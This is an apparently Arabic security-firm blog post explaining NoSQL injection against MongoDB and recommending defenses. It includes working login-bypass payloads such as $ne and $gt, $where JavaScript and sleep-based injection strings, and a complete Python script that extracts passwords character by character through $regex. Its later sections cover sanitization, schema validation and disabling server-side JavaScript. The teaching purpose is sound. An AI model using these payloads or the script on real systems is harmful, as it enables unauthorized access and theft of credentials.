لوائح الأمن السيبراني الجديدة لعام 2026 سارية المفعول في المغرب. احصل على تدقيق مجاني للامتثال ←
← العودة إلى المدونة
أمان قواعد البيانات 2026-11-06 ⏱️ 12 دقيقة

حقن NoSQL في تطبيقات الويب الحديثة: MongoDB وقواعد البيانات المستندية

مع الانتشار الواسع لقواعد بيانات NoSQL في مطلع العقد الماضي، ترسخت خرافة شائعة ومضللة بين صفوف مهندسي البرمجيات: بما أن قواعد بيانات NoSQL لا تعتمد لغة الاستعلام الهيكلية (SQL)، فإنها محصنة تماماً ضد هجمات الحقن (Injection). وبعد مرور أكثر من عقد، لا تزال هذه الفكرة الخاطئة تمثل إحدى أخطر الثغرات المفاهيمية في هندسة أمن التطبيقات المعاصرة.

صحيح أن قواعد البيانات المستندية مثل MongoDB وCouchDB وAWS DocumentDB لا تستخدم الصياغة النصية لـ SQL، إلا أنها تعتمد على كائنات استعلام مهيكلة معقدة (مثل صيغة BSON في MongoDB) وتتضمن محركات تقييم تعبيري ديناميكي من جانب الخادم (بما في ذلك محركات تشغيل JavaScript مدمجة). وكلما سُمح لمدخلات المستخدم غير الموثوقة بتعديل البنية الهيكلية لكائن الاستعلام أو دمجها في سياقات تشغيل برمجية ديناميكية، يحدث الحقن وتترتب عليه عواقب أمنية كارثية.

يقدم هذا الدليل التقني تفنيداً شاملاً لخرافة مناعة NoSQL، ويشرح هجمات حقن المعاملات (Operator Injection) في واجهات برمجة تطبيقات JSON، ويوضح كيفية استخراج البيانات الأعمى عبر التعابير النمطية (Regex Exfiltration)، ويفكك مخاطر تنفيذ أكواد JavaScript عبر تعبير $where، ويستعرض أخطاء تشويش الأنواع (Type Confusion)، مع تقديم إطار هندسي متكامل لتأمين قواعد البيانات المستندية في بيئات الإنتاج الحديثة.


١. الخرافة مقابل الواقع: لماذا تقبل قواعد بيانات NoSQL الحقن؟

يعتمد هجوم حقن SQL التقليدي (SQLi) على كسر حدود النصوص الحرفية داخل أمر استعلام نصي عادي. يحقن المهاجم علامات اقتباس مفردة (') أو تعليقات (--) أو عمليات منطقية (OR 1=1) لتعديل شجرة الصياغة المجردة (AST) التي يولدها محلل نصوص SQL في قاعدة البيانات العلائقية.

أما قواعد بيانات NoSQL، فقد بُنيت وفق مفاهيم كائنية ومستندية. فبدلاً من تحليل سلاسل نصية مجردة، تستقبل محركات مثل MongoDB استعلاماتها في هيئة مستندات بيانات مهيكلة (BSON — Binary JSON). فعلى سبيل المثال، يظهر استعلام البحث عن مستخدم في كود JavaScript على النحو التالي:

db.users.findOne({ username: req.body.username, password: req.body.password });

يفترض العديد من المطورين أنه في غياب دمج النصوص داخل أوامر SQL، يصبح الحقن مستحيلاً. يخلط هذا الافتراض بين التحليل النصي للقواعد (Syntax Parsing) والبنية الدلالية للكائنات (Semantic Query Structure):

  • تعديل شجرة الكائنات (حقن المعاملات - Operator Injection): في واجهات REST وGraphQL المعاصرة، يرسل العملاء طلباتهم في هيئة كائنات JSON أصلية. فإذا مرر الخادم الخاصية المفككة مباشرة إلى برنامج تشغيل قاعدة البيانات دون التحقق الصارم من كونها قيمة نصية بسيطة (Scalar String)، يستطيع المهاجم إرسال كائن كامل يحوي معاملات استعلام خاصة بـ MongoDB (مثل $ne و$gt و$regex و$where). يغير هذا المعامل المنطق الداخلي للاستعلام بالكامل دون إحداث أي خطأ تركيبي.
  • التقييم الديناميكي لأكواد JavaScript: يتضمن MongoDB محرك JavaScript مدمجاً (تاريخياً SpiderMonkey، وحالياً V8). وتتيح ميزات مثل عبارات $where ودوال mapReduce ومراحل تجميع $accumulator تنفيذ أكواد جافاسكريبت مباشرة داخل عملية خادم قاعدة البيانات. فإذا دُمجت مدخلات المستخدم نصياً داخل هذه التعبيرات، يحدث حقن كود كلاسيكي مباشر في صلب محرك قاعدة البيانات.

إن حقن NoSQL ليس حالة نادرة أو افتراضية؛ بل هو نتيجة حتمية لخرق مبدأ الفصل الجوهري بين بنية التحكم في التطبيق والبيانات الخارجية غير الموثوقة.


٢. الهجوم الأول — حقن المعاملات في واجهات JSON (تجاوز المصادقة)

يمثل حقن المعاملات أكثر صور ثغرات NoSQL شيوعاً في تطبيقات Node.js وPython وRuby. ويقع عندما يفكك إطار عمل الويب المعاملات الواردة إلى كائنات مهيكلة، ثم يمرر التطبيق هذه الكائنات مباشرة إلى دالة الاستعلام دون تحقق مسبق من الأنواع.

نموذج الكود البرمجي المعرض للثغرة

لنأخذ مسار مصادقة في Express.js يعتمد على محلل البيانات القياسي express.json():

// مسار مصادقة ضعيف في Express.js
const express = require('express');
const app = express();
const MongoClient = require('mongodb').MongoClient;

app.use(express.json()); // تفكيك application/json إلى req.body

app.post('/api/login', async (req, res) => {
    const { username, password } = req.body;

    // خطأ أمني: تمرير المدخلات ككائنات مباشرة إلى الاستعلام
    const user = await db.collection('users').findOne({
        username: username,
        password: password
    });

    if (user) {
        req.session.userId = user._id;
        return res.json({ success: true, message: `مرحباً ${user.username}` });
    }

    return res.status(401).json({ success: false, message: 'بيانات الاعتماد غير صالحة' });
});

حمولة الهجوم الالتفافية

في الحالة الطبيعية، يرسل المستخدم العادي قيماً نصية عادية:

{
  "username": "admin",
  "password": "my_secret_password"
}

يقوم الخادم بتنفيذ: db.users.findOne({ username: "admin", password: "my_secret_password" }).

أما المهاجم، فيستبدل النص البسيط لحقل password بكائن JSON يتضمن معامل المقارنة $ne (لا يساوي):

{
  "username": "admin",
  "password": { "$ne": "" }
}

آلية التنفيذ والأثر الأمني

يقوم برنامج تشغيل MongoDB بترجمة وتقييم استعلام BSON على النحو التالي:

db.users.findOne({
    username: "admin",
    password: { $ne: "" }
})

يطلب هذا الاستعلام من قاعدة البيانات: "ابحث عن مستخدم يحمل اسم 'admin' وحيث كلمة المرور لا تساوي القيمة الفارغة." وبما أن حساب المسؤول يمتلك كلمة مرور أو تجزئة غير فارغة حتماً، يتحقق الشرط دائماً. تعيد MongoDB سجل المسؤول كاملاً، ويمنح التطبيق جلسة إدارية مخترقة للمهاجم دون كتابة حرف واحد من كلمة المرور.

تنفيذ الهجوم عبر المعاملات المشفرة في الروابط (URL-Encoded)

لا يقتصر هذا الهجوم على طلبات JSON. فعندما يعتمد التطبيق على خيار express.urlencoded({ extended: true })، يستخدم Express مكتبة qs لتحليل معاملات الروابط. تقوم هذه المكتبة تلقائياً بتحويل الأقواس المربعة إلى كائنات جافاسكريبت متداخلة:

POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password[$ne]=

تحول مكتبة qs النص password[$ne]= إلى الكائن { password: { "$ne": "" } }، مما ينجز نفس تجاوز المصادقة تماماً.

تشمل المعاملات الأخرى التي تتيح تجاوزات مشابهة:

  • {"password": {"$gt": ""}} — يطابق أي قيمة أكبر من السلسلة الفارغة أبجدياً.
  • {"username": {"$in": ["admin", "root", "supervisor"]}, "password": {"$gt": ""}} — يستهدف عدة حسابات مميزة في آن واحد.
  • {"password": {"$exists": true}} — يتحقق طالما أن حقل كلمة المرور موجود في المستند.

٣. الهجوم الثاني — استخراج البيانات الأعمى عبر التعابير النمطية ($regex)

في كثير من الحالات، لا يعيد التطبيق محتويات الحقول المستهدفة في الاستجابة (مثل مفاتيح API أو رموز إعادة التعيين أو أسرار التحقق الثنائي)، بل يكتفي بإرجاع حالة منطقية مجردة (مثل "المستخدم موجود" أو "فشل التحقق").

باستخدام معامل $regex المدمج في MongoDB، يستطيع المهاجم تحويل هذه الاستجابة المنطقية إلى قناة آلية لاستخراج أي قيمة سرية حرفاً بحرف.

آلية عمل اختبار Regex الأعمى

تتيح MongoDB تصفية الحقول النصية باستخدام التعابير النمطية عبر $regex. يرسل المهاجم حمولات تبدأ برمز البداية (^):

{"username": "admin", "password": {"$regex": "^a.*"}}
{"username": "admin", "password": {"$regex": "^b.*"}}
{"username": "admin", "password": {"$regex": "^c.*"}}

إذا كانت كلمة مرور المسؤول تبدأ بالحرف s، يُرجع الاستعلام الذي يحوي ^s.* نتيجة صحيحة (True)، فيرد الخادم بنجاح. يثبت المهاجم الحرف الأول وينتقل لاختبار الحرف الثاني:

{"username": "admin", "password": {"$regex": "^sa.*"}}
{"username": "admin", "password": {"$regex": "^sb.*"}}
...
{"username": "admin", "password": {"$regex": "^se.*"}} // تطابق صحيح!

سكربت بايثون المؤتمت لاستخراج البيانات

يوضح سكربت بايثون التالي كيفية أتمتة استخراج كلمات المرور والرموز السرية حرفاً بحرف عبر هذا الاستغلال الأعمى:

import requests
import string
import sys

TARGET_URL = "https://target.com/api/login"
TARGET_USER = "admin"
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()-_=+[]{}|;:,.<>?"

extracted_secret = ""
max_length = 64

print(f"[*] بدء عملية استخراج البيانات عبر NoSQL Regex للمستخدم: {TARGET_USER}")

for index in range(max_length):
    found_char = False
    for char in CHARSET:
        # معالجة وتفادي رموز Regex الخاصة
        escaped_char = "\\" + char if char in ".^$*+?()[]{}|\\" else char
        test_pattern = f"^{extracted_secret}{escaped_char}"

        payload = {
            "username": TARGET_USER,
            "password": {
                "$regex": test_pattern
            }
        }

        try:
            response = requests.post(TARGET_URL, json=payload, timeout=5)
            # فحص الاستجابة المنطقية
            if "مرحباً" in response.text or response.status_code == 200:
                extracted_secret += char
                sys.stdout.write(f"\r[+] البيانات المستخرجة حتى الآن: {extracted_secret}")
                sys.stdout.flush()
                found_char = True
                break
        except requests.RequestException as e:
            print(f"\n[-] خطأ في الاتصال: {e}")
            break

    if not found_char:
        print(f"\n[!] اكتمل الاستخراج أو انتهت قائمة الرموز.")
        break

print(f"\n[+] السر المستخرج النهائي: {extracted_secret}")

عبر الاعتماد على خوارزمية البحث الثنائي (Binary Search) بدلاً من البحث الخطي عبر جدول محارف ASCII، ينخفض عدد الطلبات من O(N * M) إلى O(N * log M)، مما يتيح استخراج مفتاح API معقد بطول 32 حرفاً في أقل من دقيقتين.


٤. الهجوم الثالث — حقن JavaScript في الخادم عبر $where و$function

إلى جانب حقن معاملات JSON، تظل قواعد بيانات NoSQL عرضة للحقن البرمجي الكلاسيكي عندما يوظف المطورون ميزات تقييم أكواد JavaScript من جانب خادم قاعدة البيانات.

معامل $where

يقوم معامل الاستعلام $where في MongoDB بتمرير تعبير أو دالة JavaScript نصية مباشرة إلى محرك قاعدة البيانات الداخلي. يتم تقييم هذا الكود لكل مستند داخل المجموعة؛ فإذا أعاد التعبير قيمة true، يُضمن المستند في النتائج.

يلجأ بعض المبرمجين إلى $where لإجراء مقارنات معقدة لا توفرها معاملات BSON الاعتيادية. وعندما تُدمج مدخلات المستخدم مباشرة داخل نص جافاسكريبت، تنشأ ثغرة حقن كود برمجية فائقة الخطورة:

// كود معرض للخطر: دمج مباشر للمدخلات في شرط $where
app.get('/api/users/search', async (req, res) => {
    const userQuery = req.query.username;

    // دمج مدخلات غير موثوقة داخل نص JavaScript
    const query = {
        $where: "this.username == '" + userQuery + "'"
    };

    const results = await db.collection('users').find(query).toArray();
    res.json(results);
});

استغلال تنفيذ كود JavaScript

يمكن للمهاجم الهروب من حصر النصوص باستخدام علامة الاقتباس المفردة (') وحقن جمل منطقية برمجية كاملة:

١. التحصيل المنطقي الشامل (تسريب البيانات):

username=admin' || '1'=='1

يتحول الكود المنفذ إلى: this.username == 'admin' || '1'=='1'. ونظراً لأن '1'=='1' شرط صائب دائماً، تعيد قاعدة البيانات جميع السجلات المخزنة في المجموعة بلا استثناء.

٢. الاستخراج الأعمى القائم على التوقيت (Time-Based Blind):

إذا كان التطبيق يحجب رسائل الخطأ والنتائج، يستطيع المهاجم إحداث تأخير زمني متعمد عبر استدعاء دالة التأخير sleep() المتاحة في بيئة MongoDB:

username=admin' || sleep(5000) || '

يتوقف خيط معالجة قاعدة البيانات لمدة 5000 ميلي ثانية قبل الاستجابة، مما يؤكد للمهاجم نجاح تنفيذ الأكواد البرمجية داخل الخادم.

٣. قراءة خصائص المستندات ديناميكياً:

username=admin' || (function(){ if (this.password.charCodeAt(0) == 102) sleep(3000); return false; })() || '

تفحص هذه الحمولة كود المحرف المخزن في حقل كلمة المرور لكل مستند أثناء تنفيذه داخل الخادم. فإذا تطابق الحرف الأول مع القيمة المتوقعة، يتوقف الخادم مؤقتاً لمدة 3 ثوانٍ، مما يتيح استخراج كلمات المرور والبيانات حتى في المجموعات المحمية.

معاملات $function و$accumulator في خطوط أنابيب التجميع

منذ إصدار MongoDB 4.4، يتيح المعاملان $function و$accumulator تنفيذ دوال جافاسكريبت مخصصة داخل خطوط أنابيب التجميع (Aggregation Pipelines). يؤدي دمج مدخلات المستخدم غير المنقحة في هذه المراحل إلى خلق ثغرات حقن برمجية متطابقة تماماً.


٥. الهجوم الرابع — تشويش الأنواع (Type Confusion) في اللغات الديناميكية

يحدث تشويش الأنواع عندما يتوقع التطبيق استقبال قيمة أولية بسيطة (مثل نص أو رقم) ولكنه يستقبل ويعالج مصفوفة أو كائناً بصورة ضمنية ودون تحقق من نوع البيانات.

في البيئات ذات الأنواع المرنة مثل JavaScript وNode.js، تقود المقارنات غير الصارمة إلى سلوكيات أمنية غير متوقعة:

// فحص أمني غير منضبط
if (req.body.role === 'admin') {
    // تحقق صارم
}

أما إذا مُررت القيمة لاحقاً إلى دالة داخلية تعتمد المقارنة المرنة (==):

function checkAccess(role) {
    return role == 'admin';
}

في لغة JavaScript:

['admin'] == 'admin'  // يعيد TRUE بسبب التحويل التلقائي للمصفوفة إلى نص!

علاوة على ذلك، في استعلامات MongoDB المباشرة:

// إذا أرسل المهاجم: { "role": ["admin", "guest"] }
db.accounts.find({ role: req.body.role });

عندما تتلقى MongoDB مصفوفة لحقل نصي، فإنها تجري مطابقة متعددة المفاتيح (Multikey Match): أي تتحقق مما إذا كان أي عنصر في المصفوفة يطابق قيمة الحقل في المستند. فإذا احتوى المستند على role: "admin"، يتحقق الشرط بنجاح. إن إهمال التحقق الصارم من نوع البيانات (typeof req.body.role === 'string') يتيح تمرير هياكل بيانات تلتف على قيود الصلاحيات أو تتسبب في أخطاء برمجية تقود إلى حجب الخدمة (DoS).


٦. المخطط الهندسي للدفاع والتحصين الشامل

يتطلب القضاء النهائي على ثغرات حقن NoSQL تطبيق منظومة دفاعية متعددة الطبقات تشمل تنقية المدخلات، وتحديد هياكل البيانات الصارمة، وضبط إعدادات الخادم، وحظر التقييم البرمجي الديناميكي.

١. تنقية المدخلات باستخدام express-mongo-sanitize

في تطبيقات Express وNode.js، قم بتثبيت وتطبيق حزمة express-mongo-sanitize في مقدمة طبقات الوسائط (Middlewares). تحذف هذه الحزمة بصورة عودية أي مفتاح يبدأ برمز $ (معاملات MongoDB) أو يتضمن نقطة . (المستخدمة للتنقل داخل المستندات) من req.body وreq.query وreq.params.

const express = require('express');
const mongoSanitize = require('express-mongo-sanitize');

const app = express();

app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));

// تنقية مدخلات المستخدم لمنع حقن معاملات MongoDB
app.use(mongoSanitize({
    replaceWith: '_', // استبدال '$' برمز '_' أو حذفه كلياً
    onSanitize: ({ req, key }) => {
        console.warn(`[تنبيه أمني] تم تنقية مفتاح مريب: ${key} من العنوان: ${req.ip}`);
    }
}));

٢. فرض المخططات الصارمة عبر Mongoose

يوفر استخدام أدوات تخطيط كائنات المستندات (ODM) مثل Mongoose حماية ذاتية ضد حقن المعاملات. فعند تحديد أنواع صريحة في المخطط (Schema)، تقوم Mongoose بتحويل البيانات الواردة قسرياً إلى النوع المحدد. فإذا أرسل المهاجم كائناً مثل {"$ne": ""} في حقل معرف كنص String، تطلق Mongoose استثناء CastError وترفض الاستعلام قبل وصوله إلى قاعدة البيانات.

const mongoose = require('mongoose');

const userSchema = new mongoose.Schema({
    username: {
        type: String,
        required: true,
        trim: true,
        match: /^[a-zA-Z0-9_-]{3,30}$/ // تدقيق صارم لصيغة الحقل
    },
    passwordHash: {
        type: String,
        required: true
    },
    role: {
        type: String,
        enum: ['user', 'moderator', 'admin'],
        default: 'user'
    }
});

const User = mongoose.model('User', userSchema);

// معالجة آمنة لطلب تسجيل الدخول:
app.post('/api/login', async (req, res) => {
    const { username, password } = req.body;

    // التحقق الصريح من نوع المدخلات كنصوص بسيطة
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.status(400).json({ error: 'يجب أن يكون اسم المستخدم وكلمة المرور نصوصاً بسيطة' });
    }

    const user = await User.findOne({ username: username });
    if (!user) {
        return res.status(401).json({ error: 'بيانات الاعتماد غير صحيحة' });
    }

    // التحقق من تجزئة كلمة المرور عبر bcrypt
    const isValid = await bcrypt.compare(password, user.passwordHash);
    if (!isValid) {
        return res.status(401).json({ error: 'بيانات الاعتماد غير صحيحة' });
    }

    return res.json({ success: true });
});

٣. التحقق الصارم من صحة المدخلات عبر Zod أو Joi

تحقق من شكل ونوع كل حقل في الطلب قبل وصوله إلى منطق الأعمال باستخدام مكتبات التدقيق الحديثة:

import { z } from 'zod';

const LoginSchema = z.object({
    username: z.string().min(3).max(50),
    password: z.string().min(8).max(128)
}).strict(); // يرفض أي حقول إضافية غير مصرح بها

app.post('/api/login', (req, res) => {
    const result = LoginSchema.safeParse(req.body);
    if (!result.success) {
        return res.status(400).json({ error: 'صيغة البيانات المدخلة غير صالحة' });
    }
    // متابعة العمل بالبيانات الموثوقة: result.data.username
});

٤. تعطيل محرك JavaScript في إعدادات mongod.conf

ما لم يكن تطبيقك يعتمد بالضرورة على دوال MapReduce القديمة، قم بتعطيل تشغيل محرك JavaScript تماماً داخل ملف تهيئة MongoDB المعتمد (/etc/mongod.conf):

# /etc/mongod.conf
security:
  javascriptEnabled: false

إن ضبط javascriptEnabled: false يجهض هجمات الحقن عبر $where وmapReduce و$function على مستوى خادم قاعدة البيانات مباشرة، مانعاً تنفيذ أي كود برمجياً حتى في حال وجود استعلام ضعيف في التطبيق.

٥. حظر دوال $where وeval وmapReduce في مراجعات الكود

قم بإعداد أدوات التحليل الثابت (Static Analysis) مثل ESLint وSonarQube للكشف التلقائي عن وحظر:

  • استخدام عبارات $where في أي استعلام.
  • استدعاء دالة db.eval() (التي حُذفت في الإصدارات الحديثة).
  • أي دمج نصوص ديناميكي داخل خطوط أنابيب التجميع (Aggregation Pipelines).

خلاصة

توفر قواعد بيانات NoSQL مرونة عالية وقدرات توسع متميزة، لكنها لا تقدم أي حصانة تلقائية ضد هجمات الحقن. إن حقن المعاملات واستخراج البيانات الأعمى عبر التعابير النمطية والتنفيذ غير المنضبط لأكواد JavaScript تشكل تهديدات فعلية وقائمة لأي تطبيق يتعامل مع بيانات JSON دون تدقيق نوعي صارم. ومن خلال اعتماد المخططات الموثوقة لأدوات ODM، واستخدام أدوات التنقية مثل express-mongo-sanitize، وإيقاف تشغيل محرك JavaScript في إعدادات الخادم، تستطيع المؤسسات حماية طبقات قواعد البيانات المستندية وبناء تطبيقات آمنة ومرنة.

هل تحتاج إلى تقييم أمني لقواعد البيانات؟

هل واجهات استعلام MongoDB أو DocumentDB أو NoSQL لديك معرّضة لحقن المعاملات أو تشويش الأنواع؟ يُجري فريق Cayvora Security تدقيقات شاملة للكود واختبارات اختراق لتأمين طبقات قواعد البيانات.

✉️ طلب تدقيق أمان قواعد البيانات

مقالات ذات صلة